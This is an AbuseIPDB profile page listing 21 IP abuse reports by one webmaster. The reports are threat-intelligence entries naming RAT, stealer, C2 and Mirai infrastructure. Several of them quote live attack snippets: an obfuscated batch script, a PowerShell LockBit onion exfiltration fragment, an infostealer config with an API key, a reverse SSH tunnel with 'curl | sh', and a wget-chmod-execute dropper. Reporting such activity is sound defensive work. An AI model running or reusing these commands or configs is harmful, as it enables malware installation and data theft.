certificate - AbuseIPDB User Profile

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User certificate , the webmaster of certdash.lol, joined AbuseIPDB in October 2025 and has reported 21 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇫🇷 45.43.142.8	26 Dec 2025	Potential Malware Communications, Unusual network activity detected with indicators of malicious rep ... show more Potential Malware Communications, Unusual network activity detected with indicators of malicious reputation. ( Host 45.43.142.8 , Port 443 , Protocol tcp , Asn OVH ) " @echo off %yuHGTpYDUucdUDQvJkNoAqklShCngi%@%yuHGTpYDUucdUDQvJkNoAqklShCngi%s%yuHGTpYDUucdUDQvJkNoAqklShCngi%e%yuHGTpYDUucdUDQvJkNoAqklShCngi%t%yuHGTpYDUucdUDQvJkNoAqklShCngi%l%yuHGTpYDUucdUDQvJkNoAqklShCngi%o%yuHGTpYDUucdUDQvJkNoAqklShCngi%c%yuHGTpYDUucdUDQvJkNoAqklShCngi%a%yuHGTpYDUucdUDQvJkNoAqklShCngi%l%yuHGTpYDUucdUDQvJkNoAqklShCngi% %yuHGTpYDUucdUDQvJkNoAqklShCngi%e%yuHGTpYDUucdUDQvJkNoAqklShCngi%n%yuHGTpYDUucdUDQvJkNoAqklShCngi%a%yuHGTpYDUucdUDQvJkNoAqklShCngi%b%yuHGTpYDUucdUDQvJkNoAqklShCngi%l%yuHGTpYDUucdUDQvJkNoAqklShCngi%e%yuHGTpYDUucdUDQvJkNoAqklShCngi%d%yuHGTpYDUucdUDQvJkNoAqklShCngi%e%yuHGTpYDUucdUDQvJkNoAqklShCngi%l%yuHGTpYDUucdUDQvJkNoAqklShCngi%a%yuHGTpYDUucdUDQvJkNoAqklShCngi%y%yuHGTpYDUucdUDQvJkNoAqklShCngi%e%yuHGTpYDUucdUDQvJkNoAqklShCngi%d%yuHGTpYDUucdUDQvJkNoAqklShCngi%e%yuHGTpYDUucdUDQvJkNoAqklShCngi%x%yuHGTpYDUucdUDQ " show less	Hacking Exploited Host
🇳🇱 167.148.195.154	25 Dec 2025	Potential Malware Communications, Unusual network activity detected with indicators of malicious rep ... show more Potential Malware Communications, Unusual network activity detected with indicators of malicious reputation. ( PURELOGSSTEALER , Host 167.148.195.154 , Port - 55508 , Protocol - tcp , Asn - DEDIK-IO , Reputation - malicious ) show less	Hacking Exploited Host
🇵🇦 190.123.46.72	25 Dec 2025	Potential Malware Communications, Unusual network activity detected with indicators of malicious rep ... show more Potential Malware Communications, Unusual network activity detected with indicators of malicious reputation. ( ASYNCRAT , Host 190.123.46.72 , Port - 80 , Protocol - tcp , Asn - Panamaserver.com , Reputation - malicious ) show less	Hacking Exploited Host
🇺🇸 162.243.129.169	25 Dec 2025	Potential Malware Communications, Unusual network activity detected with indicators of malicious rep ... show more Potential Malware Communications, Unusual network activity detected with indicators of malicious reputation. ( QUASAR RAT, Flow Host mail.o-hotel.com.hk Port 587) show less	Hacking Exploited Host
🇸🇬 159.223.73.35	25 Dec 2025	Potential Malware Communications, Unusual network activity detected with indicators of malicious rep ... show more Potential Malware Communications, Unusual network activity detected with indicators of malicious reputation. ( QUASAR RAT, Flow Host mail.o-hotel.com.hk Port 587) show less	Hacking Exploited Host
🇨🇳 183.66.27.19	25 Dec 2025	Potential Malware Communications \| Unusual network activity detected with indicators of malicious re ... show more Potential Malware Communications \| Unusual network activity detected with indicators of malicious reputation. ( ADAPTIXC2 / c2 183.66.27.19 family adaptixc2 , rule AdaptixC2 ) \| ( Port 58475 , Url Path /test.php ) show less	Hacking Exploited Host
🇸🇬 43.134.163.224	25 Dec 2025	Potential Malware Communications \| Unusual network activity detected with indicators of malicious re ... show more Potential Malware Communications \| Unusual network activity detected with indicators of malicious reputation. ( ADAPTIXC2 \| Port 443 Url Path /POST.php ) \| family adaptixc2 ,rule AdaptixC2 show less	Hacking Exploited Host
🇩🇪 63.178.163.156	25 Dec 2025	Potential Malware Communications \| Unusual network activity detected with indicators of malicious re ... show more Potential Malware Communications \| Unusual network activity detected with indicators of malicious reputation. ( c2 63.178.163.156 family adaptixc2 rule AdaptixC2 ) / ( Port 31337 Url Path /hello.php) show less	Hacking Exploited Host
🇺🇸 172.67.173.68	25 Dec 2025	Potential Malware Communications \| Unusual network activity detected with indicators of malicious re ... show more Potential Malware Communications \| Unusual network activity detected with indicators of malicious reputation. ( Quasar Client ) / botnet User1 c2 78win88.co.com:80 www.78win88.co.com:80 download.78win88.co.com:80 api.78win88.co.com:80 78win88.co.com:4782 www.78win88.co.com:4782 download.78win88.co.com:478 api.78win88.co.com:4782 78win88.co.com:443 www.78win88.co.com:443 download.78win88.co.com:443 api.78win88.co.com:443 family quasar mutex 2dcb3a65-4d4f-4887-8dc5-cff12e20f1eb rule Quasar version 1.4.1 show less	Hacking Exploited Host
🇹🇼 1.163.104.84	25 Dec 2025	Potential Malware Communications \| ( ErrorActionPreference = 'SilentlyContinue' $AESKey = -join ((65 ... show more Potential Malware Communications \| ( ErrorActionPreference = 'SilentlyContinue' $AESKey = -join ((65..90) + (97..122) + (48..57) \| Get-Random -Count 32 \| % {[char]$_}) $AESIV = -join ((65..90) + (97..122) + (48..57) \| Get-Random -Count 16 \| % {[char]$_}) $TorProxy = "1.163.104.84:443" $OnionBackend = "http://lockbit5gbp7pbs7wryfhbt6aphctksew5fil2zvikxp4s4by5mq5kyd.onion/collect" function Send-ToOnionBacken) show less	Hacking Exploited Host
🇺🇸 136.61.221.144	25 Dec 2025	Potential Malware Communications / Secrets (Network rules) \| Unusual network activity detected with ... show more Potential Malware Communications / Secrets (Network rules) \| Unusual network activity detected with indicators of unknown reputation show less	Hacking Exploited Host
🇺🇸 54.210.117.250	25 Dec 2025	Malicious [http://skrptfiles.trace-monitors.com/clrls/cl_rls.jsonC] \| Potential Malware Communicatio ... show more Malicious [http://skrptfiles.trace-monitors.com/clrls/cl_rls.jsonC] \| Potential Malware Communications / Secrets (Network rules) show less	Hacking Exploited Host
🇸🇬 18.136.157.239	25 Dec 2025	Malware , DOMAIN = 'https://reset-password.site/api/log.php' FEATURES = { 'browser_data': True ... show more Malware , DOMAIN = 'https://reset-password.site/api/log.php' FEATURES = { 'browser_data': True, 'wallet_extraction': True, 'discord_tokens': True, 'telegram_forwarding': True, 'stealth_mode': True, 'screenshot': True, 'social_networks': True, 'games': True, 'vpn_ssh': True } API_KEY = 'prysmax_kIt3_herpMQZstfDaZeDIS5jBO4ZvatRadwrO1-Jlb4' , show less	Hacking Exploited Host
🇰🇷 218.54.31.226	25 Dec 2025	Malware Communications, Unusual network activity detected with indicators of malicious reputation	Hacking Exploited Host
192.168.86.214	25 Dec 2025	QuasarRAT, Quasar Client Startup - 1.4.1 - 192.168.86.214:4782;	Hacking Exploited Host
192.168.1.127	24 Dec 2025	QuasarRAT Config(s) (CapeV2) , 192.168.1.127:4782;	Hacking Exploited Host
🇷🇺 82.114.2.139	24 Dec 2025	Mirai server , infector ( echo BASHRC sshpass -p '78morkop' ssh -fN -o StrictHostKeyChecking=no -R ... show more Mirai server , infector ( echo BASHRC sshpass -p '78morkop' ssh -fN -o StrictHostKeyChecking=no -R 11155:192.168.171.1:22 [email protected] echo WITHOUT sshpass ssh -fN -o StrictHostKeyChecking=no -R 11155:192.168.171.1:22 [email protected] ssh EOF) / (curl http://mtrx.lol/s.sh\|sh) show less	Hacking Exploited Host SSH
🇹🇭 45.83.207.105	24 Dec 2025	MALICIOUS - Script-Shell.Downloader.Heuristic , ( wget hp://45.83.207.105/bins/xnxnxnxnxnxnxnxni38 ... show more MALICIOUS - Script-Shell.Downloader.Heuristic , ( wget hp://45.83.207.105/bins/xnxnxnxnxnxnxnxni386xnxn; curl -O h**p://45.83.207.105/bins/xnxnxnxnxnxnxnxni386xnxn; chmod +x xnxnxnxnxnxnxnxni386xnxn; ./xnxnxnxnxnxnxnxni386xnxn; rm -rf xnxnxnxnxnxnxnxni386xnxn ) show less	Hacking Exploited Host SSH
🇺🇸 172.212.113.5	01 Nov 2025	Incoming Layer 7 Flood Detected - Certificate platform infrastructure under attack from this IP addr ... show more Incoming Layer 7 Flood Detected - Certificate platform infrastructure under attack from this IP address show less	DDoS Attack Web Spam
🇩🇪 130.61.200.242	01 Nov 2025	Incoming Layer 7 Flood Detected - Certificate platform infrastructure under attack from this IP addr ... show more Incoming Layer 7 Flood Detected - Certificate platform infrastructure under attack from this IP address show less	DDoS Attack Web Spam
🇫🇷 34.1.0.124	01 Nov 2025	Certificate security system flagged this IP for aggressive rate limit violations and potential DDoS ... show more Certificate security system flagged this IP for aggressive rate limit violations and potential DDoS activity. show less	DDoS Attack Web Spam Spoofing